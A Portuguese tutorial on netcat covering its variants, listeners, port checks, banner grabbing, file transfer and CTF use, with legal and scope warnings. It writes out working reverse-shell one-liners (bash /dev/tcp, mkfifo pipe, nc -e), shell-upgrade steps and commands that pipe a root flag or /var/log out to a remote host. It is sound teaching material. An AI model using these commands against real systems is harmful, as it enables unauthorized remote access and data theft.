Como Usar o Netcat: Comandos e Exemplos de CTF (2026)

O que é o Netcat?

Netcat é uma ferramenta de linha de comando que lê e escreve dados através de conexões de rede, usando TCP ou UDP. Ele cria um socket, entrega as duas pontas para você e sai do caminho. Tudo o que você consegue mandar para um programa por um pipe, você consegue mandar para uma conexão de rede, e tudo o que chega nessa conexão sai pela saída padrão.

Essa descrição parece genérica demais para servir de alguma coisa, até você ver o que ela substitui. O netcat é como você pega um shell, confirma que uma porta está de fato aberta e não apenas sem filtro, conversa com um serviço na mão antes de escrever um script, e copia um arquivo para uma máquina que não tem curl, nem wget, nem gerenciador de pacotes.

O original foi escrito por um desenvolvedor conhecido como Hobbit e lançado em 28 de outubro de 1995. A última versão daquele código, a 1.10, saiu em março de 1996 e ainda vem nas distribuições Linux três décadas depois. Três implementações importam hoje:

• netcat-traditional (1.10). O código original. Tem a flag -e, que executa um programa na conexão, além de um modo de dump hexadecimal. Em sistemas derivados do Debian ele se instala como nc.traditional, e não como nc.
• netcat-openbsd. Uma reescrita limpa com IPv6, sockets Unix e suporte a proxy, embora a build do Debian venha sem TLS. É o nc que você tem por padrão no Kali, no Ubuntu e no Debian, e ele abandonou o -e de propósito.
• Ncat. Escrito para o projeto Nmap e anunciado em 2005. Adiciona SSL, proxies SOCKS4 e HTTP, encadeamento de conexões e --exec e --sh-exec. Vem junto com o Nmap, então você provavelmente já tem.

Qual delas você tem decide quais comandos funcionam. Quase toda pergunta do tipo "esse comando do netcat não funciona" é, na verdade, um descompasso de versão entre o guia que a pessoa leu e o binário instalado na máquina dela.

Instalando o Netcat e descobrindo qual versão você tem

Antes de instalar qualquer coisa, veja o que já existe. A primeira linha da ajuda nomeia a variante:

nc -h

No Ubuntu 24.04 isso retorna:

OpenBSD netcat (Debian patchlevel 1.226-1ubuntu2)
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]

Leia essa linha de opções com atenção, porque não existe um e nela. Esse único detalhe explica uma seção inteira mais adiante nesta página.

No Debian, Ubuntu, Kali e Parrot, a build do OpenBSD está a um comando de distância:

sudo apt update && sudo apt install netcat-openbsd

Se você também quiser o original, instale separado. Ele não sobrescreve o nc, que é o comportamento sensato:

sudo apt install netcat-traditional

Isso te dá o nc.traditional, empacotado hoje na versão 1.10-48. A ajuda dele é refrescantemente direta sobre a flag de execução:

-c shell commands	as `-e'; use /bin/sh to exec [dangerous!!]
-e filename		program to exec after connect [dangerous!!]

O macOS já traz um nc derivado do BSD, então não há nada a instalar para o uso básico. Para o Ncat, brew install nmap resolve. No Windows, pegue o Ncat pelo instalador oficial do Nmap em vez de um daqueles binários nc.exe antigos que circulam em sites de compartilhamento: eles não são assinados, são modificados com frequência, e os softwares de segurança os detectam na hora, o que é o comportamento esperado num ambiente protegido e não algo a ser contornado.

Como usar o Netcat: os dois comandos que sustentam tudo

O netcat tem exatamente dois modos: escutar ou conectar. Toda receita deste guia é um dos dois com um pipe na ponta.

Abra um listener:

nc -lvnp 4444

Quatro flags, cada uma justificando seu lugar. -l escuta em vez de conectar. -v ativa o modo verboso, para você ver a conexão chegar em vez de encarar um terminal em branco se perguntando o que aconteceu. -n pula a resolução de DNS, o que elimina uma consulta capaz de travar por segundos numa rede isolada. -p define a porta.

De outro terminal, conecte e mande alguma coisa:

echo "hello from the client" | nc 127.0.0.1 4444

O listener imprime exatamente isto:

Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 44782
hello from the client

Dois comportamentos derrubam todo mundo no primeiro dia. Um listener morre assim que o primeiro cliente desconecta, a menos que você adicione -k, que o mantém aceitando novas conexões:

nc -lvnk 4452

Listening on 0.0.0.0 4452
Connection received on 127.0.0.1 52654
one
Connection received on 127.0.0.1 52666
two

E a build traditional quer a porta como argumento separado: nc.traditional -l -p 4444 funciona onde nc.traditional -lvnp 4444 falha. Guias escritos para uma variante quebram em silêncio na outra.

Portas abaixo de 1024 exigem root. Se nc -lvnp 80 retornar erro de permissão, é por isso, e escolher 4444 ou 9001 é quase sempre uma resposta melhor do que apelar para o sudo.

Teste de portas e banner grabbing

A flag -z conecta e desconecta imediatamente sem enviar dados, o que transforma o netcat num teste rápido de portas. Combine com -v para que ele reporte os resultados e passe um intervalo:

nc -zv 127.0.0.1 8079-8081

nc: connect to 127.0.0.1 port 8079 (tcp) failed: Connection refused
Connection to 127.0.0.1 8080 port [tcp/http-alt] succeeded!
nc: connect to 127.0.0.1 port 8081 (tcp) failed: Connection refused

Adicione -w 2 para limitar quanto tempo cada tentativa espera. Sem timeout, uma porta filtrada deixa o netcat pendurado numa conexão que nunca vai completar, e uma varredura de vinte portas vira pausa para o café.

Meu conselho honesto: não use o netcat como scanner de portas. Ele é de thread única, não tem detecção de serviço e é lento numa margem enorme comparado à ferramenta feita para isso. Prefira os comandos do nosso guia rápido do Nmap. O netcat ganha o lugar dele na pergunta seguinte, quando o Nmap já disse que a porta 8080 está aberta e você quer saber o que responde de verdade ali. Se portas e serviços ainda estão nebulosos, nosso texto sobre o que é uma porta cobre a base.

Muitos serviços se anunciam no instante em que você conecta. Abra o socket e espere:

nc -nv 10.10.10.5 22

Um servidor OpenSSH responde algo como SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13 antes de você digitar qualquer coisa. Essa string nomeia o software, a versão e muitas vezes o pacote da distribuição, o que já é a sua primeira impressão digital real do host.

HTTP é mais calado e espera uma requisição. Mande uma na mão:

printf 'GET / HTTP/1.0\r\n\r\n' | nc 127.0.0.1 8080

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.11.15
Date: Sat, 22 Aug 2026 07:10:41 GMT
Content-type: text/html; charset=utf-8
Content-Length: 277

O printf importa mais do que parece. HTTP exige fins de linha CRLF e uma linha em branco para fechar os cabeçalhos, que é o que \r\n\r\n entrega. Use echo e o servidor fica esperando para sempre por uma requisição que você acha que já mandou. Se preferir não pensar em fim de linha, nc -C envia CRLF por você.

Na prática é aqui que o netcat vence qualquer ferramenta gráfica. Você pode mandar uma requisição deliberadamente malformada, um cabeçalho gigante ou um verbo que o servidor nunca viu, e assistir à resposta bruta voltar sem nada no meio reinterpretando ela.

Transferindo arquivos com o Netcat

Numa máquina sem curl, sem wget e sem cache de pacotes gravável, o netcat costuma ser o único jeito de mover um arquivo. Quem recebe escuta e redireciona para um arquivo. Quem envia conecta e lê de um arquivo.

Na máquina que recebe:

nc -lvnp 4445 > received.txt

Na máquina que envia:

nc -q 1 -N 10.10.10.5 4445 < secrets.txt

Essas duas flags do lado do emissor são a diferença entre uma transferência que termina e uma que parece travada. -N encerra o socket quando a entrada padrão chega ao fim do arquivo, e -q 1 sai um segundo depois. Sem elas, os dois lados ficam parados segurando uma conexão aberta muito depois de o último byte chegar, o que parece exatamente uma falha. Muita gente conclui que o netcat está quebrado nesse ponto. Ele está fazendo o que mandaram.

O netcat não te dá verificação de integridade, nem criptografia, nem barra de progresso, então confira o resultado por conta própria:

sha256sum secrets.txt received.txt

Qualquer diferença significa transferência truncada, e uma transferência truncada sem mensagem de erro é o hábito menos simpático do netcat. Para um diretório inteiro, passe o tar pela conexão em vez de enviar arquivo por arquivo:

tar czf - /var/log | nc -q 1 -N 10.10.10.5 4445

nc -lvnp 4445 | tar xzvf -

Vale saber pelo lado defensivo: mover ferramentas para dentro de um host comprometido é catalogado pela MITRE como T1105, Ingress Tool Transfer, e um listener numa porta incomum seguido de uma rajada de dados saindo é um dos sinais que uma rede monitorada pega com mais confiabilidade. Isso é ótimo quando você é o defensor e é uma conversa sobre escopo quando não é.

Reverse shells e a flag -e que sumiu

Aqui está a parede em que todo iniciante bate. Metade dos tutoriais on-line manda rodar isto:

nc -e /bin/sh 10.10.10.5 4444

E no Kali, no Ubuntu ou no Debian, o netcat responde:

nc: invalid option -- 'e'
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]

Nada está quebrado. A reescrita do OpenBSD removeu a flag de propósito, porque um listener que executa um shell em qualquer conexão de entrada é uma porta dos fundos sem autenticação para quem achar a porta primeiro. A build traditional ainda tem a flag e a rotula como [dangerous!!] na própria ajuda, o que é um resumo justo.

Três substitutos funcionam num alvo Linux padrão. O primeiro usa o redirecionamento de rede embutido do bash e não precisa de netcat nenhum no alvo:

bash -i >& /dev/tcp/10.10.10.5/4444 0>&1

O segundo é o padrão do pipe nomeado, a resposta para quando o alvo tem netcat, mas a versão enxuta:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.5 4444 > /tmp/f

Rode isso contra o seu próprio listener e o retorno é este:

Listening on 0.0.0.0 4446
Connection received on 127.0.0.1 53596
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

O fifo faz o trabalho que o -e fazia: a saída do shell entra no netcat, a entrada do netcat volta pelo pipe, e o laço se fecha.

A terceira opção é o Ncat, que manteve o recurso com nomes mais claros: --exec roda um programa diretamente e --sh-exec entrega o comando ao /bin/sh. O Ncat também escuta por TLS, que é a diferença entre um shell atravessando a rede em texto puro e um shell que não faz isso. Em infraestrutura de laboratório que pertence a você:

ncat --ssl -lvnp 4444

Repare na linha can't access tty naquela saída. Um shell cru do netcat não tem controle de jobs, nem autocompletar, nem histórico pelas setas, e o Ctrl+C mata o seu listener em vez do comando em execução. Melhore isso na hora:

1. Abra um PTY de verdade. python3 -c 'import pty; pty.spawn("/bin/bash")' no alvo.
2. Mande o shell para segundo plano. Ctrl+Z te devolve ao seu próprio terminal.
3. Ajuste o terminal local. stty raw -echo; fg entrega as teclas cruas direto ao shell remoto.
4. Defina um tipo de terminal. export TERM=xterm faz clear, less e vim se comportarem.

Esses quatro passos levam quinze segundos e transformam um shell inutilizável num shell funcional. Nosso guia rápido de reverse shells reúne os payloads para alvos sem bash e sem Python, que você vai encontrar na primeira máquina minimalista.

Netcat em desafios de CTF

Quatro padrões cobrem quase todo netcat que você vai digitar numa competição.

O desafio é um socket. Quando a tarefa te entrega nada além de nc challenge.ctf.io 31337, o serviço naquela porta é o desafio. Conecte, leia o que ele diz e trate como um programa com interface de texto, porque é isso que ele é. As categorias de exploração binária e miscelânea se apoiam nisso o tempo todo.

O listener pega o shell. Você acha injeção de comandos ou upload de arquivo num alvo web, o nc -lvnp 4444 já está rodando, e o retorno chega. Abra o listener antes de disparar o payload, não depois. Assistir a um shell conectar numa porta onde ninguém está escutando é um rito de passagem que ninguém curte duas vezes.

O netcat é a rota de exfiltração. Flag de root numa máquina sem HTTP de saída, mas com TCP puro liberado numa porta alta. cat /root/flag-root.txt | nc 10.10.10.5 4444 e ela está na sua máquina.

Você está fazendo engenharia reversa de um protocolo. Conecte na mão, mande um byte, veja o que volta, mande outro. Depois de entender a troca, passe para um socket em Python ou para o pwntools, porque o netcat não tem lógica nem repetição. Qualquer coisa que envolva um laço ou um valor calculado pertence a um script.

Uma pegadinha de buffer específica de CTF. Mandar dados para o netcat de forma não interativa pode deixar sua entrada parada num buffer enquanto o serviço remoto espera, o que parece o serviço te ignorando. stdbuf -o0 na frente da cadeia, ou simplesmente manter a sessão interativa, evita uma hora depurando um problema que nunca esteve na rede.

Guia rápido dos comandos do Netcat

Os comandos que vale manter à mão:

• nc -lvnp 4444 - escutar na porta 4444, verboso, sem DNS
• nc -lvnk 4444 - o mesmo, mas continuar escutando após cada desconexão
• nc 10.10.10.5 4444 - conectar a um host e porta
• nc -zv 10.10.10.5 20-25 - testar um intervalo de portas sem enviar dados
• nc -nv 10.10.10.5 22 - capturar o banner de um serviço
• printf 'GET / HTTP/1.0\r\n\r\n' | nc 10.10.10.5 80 - enviar uma requisição HTTP bruta
• nc -lvnp 4445 > out.bin - receber um arquivo
• nc -q 1 -N 10.10.10.5 4445 < in.bin - enviar um arquivo e fechar direito
• nc -u -lvnp 9999 - escutar em UDP em vez de TCP
• nc -w 2 -zv host 80 - limitar a espera a dois segundos
• nc -x 127.0.0.1:9050 -X 5 host 80 - rotear a conexão por um proxy SOCKS5

O UDP merece um aviso. Não existe handshake, então nc -zvu reporta sucesso sempre que nenhuma mensagem ICMP de porta inalcançável volta. Num host atrás de firewall, uma porta filtrada e uma porta realmente aberta ficam idênticas, e um resultado UDP limpo não te contou quase nada.

A lista completa de opções está na página de manual do nc do OpenBSD, e o histórico das várias implementações vale dez minutos se um dia você tiver que explicar a um cliente por que três ferramentas com o mesmo nome se comportam de formas diferentes.

Considerações legais e éticas

O netcat fica mais perto da linha legal do que um leitor de metadados ou um quebrador de hashes, porque usá-lo significa tocar a máquina de outra pessoa. Uma conexão TCP concluída é um evento registrado, e "eu só estava vendo se a porta estava aberta" nunca foi grande defesa.

Onde isso é permitido

• Máquinas suas, além de máquinas virtuais e contêineres na sua própria rede
• Alvos nomeados por escrito num contrato assinado, dentro da janela combinada
• Plataformas de CTF e laboratórios de treino, dentro das regras publicadas
• Sua própria infraestrutura, onde o netcat é ferramenta legítima de diagnóstico para administradores

Uma regra que salva carreiras: um documento de escopo que cita um intervalo de IPs não te autoriza a deixar um listener rodando na máquina do cliente depois que o trabalho acaba. Feche todo listener que você abrir e registre no relatório que fez isso. Um shell abandonado em produção é um apontamento contra você, não contra o cliente.

Perguntas frequentes